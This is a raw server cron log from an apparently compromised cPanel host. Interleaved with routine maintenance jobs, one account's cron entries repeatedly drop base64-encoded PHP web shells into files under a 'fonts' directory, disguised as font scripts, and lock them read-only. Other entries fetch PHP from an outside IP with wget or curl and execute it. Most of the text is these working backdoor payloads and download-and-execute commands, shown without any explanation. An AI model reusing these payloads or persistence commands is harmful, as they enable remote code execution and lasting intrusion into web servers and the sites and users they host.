Sep  3 14:25:01 ip-184-168-122-23 CROND[19319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:25:01 ip-184-168-122-23 CROND[19322]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:25:01 ip-184-168-122-23 CROND[19323]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:25:01 ip-184-168-122-23 CROND[19324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:25:01 ip-184-168-122-23 CROND[19325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:25:01 ip-184-168-122-23 CROND[19326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:25:01 ip-184-168-122-23 CROND[19328]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 14:26:01 ip-184-168-122-23 CROND[19425]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  3 14:26:01 ip-184-168-122-23 CROND[19428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:26:01 ip-184-168-122-23 CROND[19429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:26:02 ip-184-168-122-23 CROND[19430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:26:02 ip-184-168-122-23 CROND[19431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:26:02 ip-184-168-122-23 CROND[19432]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  3 14:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  3 14:27:01 ip-184-168-122-23 CROND[19625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:27:01 ip-184-168-122-23 CROND[19627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:27:01 ip-184-168-122-23 CROND[19628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:27:01 ip-184-168-122-23 CROND[19629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:28:01 ip-184-168-122-23 CROND[19709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:28:01 ip-184-168-122-23 CROND[19712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:28:01 ip-184-168-122-23 CROND[19711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:28:01 ip-184-168-122-23 CROND[19713]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:28:01 ip-184-168-122-23 CROND[19714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:29:01 ip-184-168-122-23 CROND[19796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:29:01 ip-184-168-122-23 CROND[19797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:29:01 ip-184-168-122-23 CROND[19799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:29:01 ip-184-168-122-23 CROND[19801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:30:01 ip-184-168-122-23 CROND[19984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:30:01 ip-184-168-122-23 CROND[19985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:30:01 ip-184-168-122-23 CROND[19986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:30:01 ip-184-168-122-23 CROND[19989]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 14:30:01 ip-184-168-122-23 CROND[19990]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:30:02 ip-184-168-122-23 CROND[19993]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:30:02 ip-184-168-122-23 CROND[19994]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:30:02 ip-184-168-122-23 CROND[19997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:31:01 ip-184-168-122-23 CROND[20090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:31:01 ip-184-168-122-23 CROND[20091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:31:01 ip-184-168-122-23 CROND[20093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:31:01 ip-184-168-122-23 CROND[20095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:31:01 ip-184-168-122-23 CROND[20096]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 14:32:01 ip-184-168-122-23 CROND[20209]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:32:01 ip-184-168-122-23 CROND[20212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:32:01 ip-184-168-122-23 CROND[20213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:32:01 ip-184-168-122-23 CROND[20211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:32:01 ip-184-168-122-23 CROND[20214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:33:01 ip-184-168-122-23 CROND[20295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:33:01 ip-184-168-122-23 CROND[20297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:33:01 ip-184-168-122-23 CROND[20296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:33:01 ip-184-168-122-23 CROND[20298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:34:01 ip-184-168-122-23 CROND[20381]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:34:01 ip-184-168-122-23 CROND[20383]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:34:01 ip-184-168-122-23 CROND[20385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:34:01 ip-184-168-122-23 CROND[20384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:34:01 ip-184-168-122-23 CROND[20386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:35:01 ip-184-168-122-23 CROND[20495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:35:01 ip-184-168-122-23 CROND[20497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:35:01 ip-184-168-122-23 CROND[20500]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 14:35:01 ip-184-168-122-23 CROND[20503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:35:01 ip-184-168-122-23 CROND[20499]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:35:01 ip-184-168-122-23 CROND[20502]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:35:01 ip-184-168-122-23 CROND[20498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:35:01 ip-184-168-122-23 CROND[20504]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 14:36:01 ip-184-168-122-23 CROND[20684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:36:01 ip-184-168-122-23 CROND[20686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:36:01 ip-184-168-122-23 CROND[20687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:36:01 ip-184-168-122-23 CROND[20688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:36:01 ip-184-168-122-23 CROND[20689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
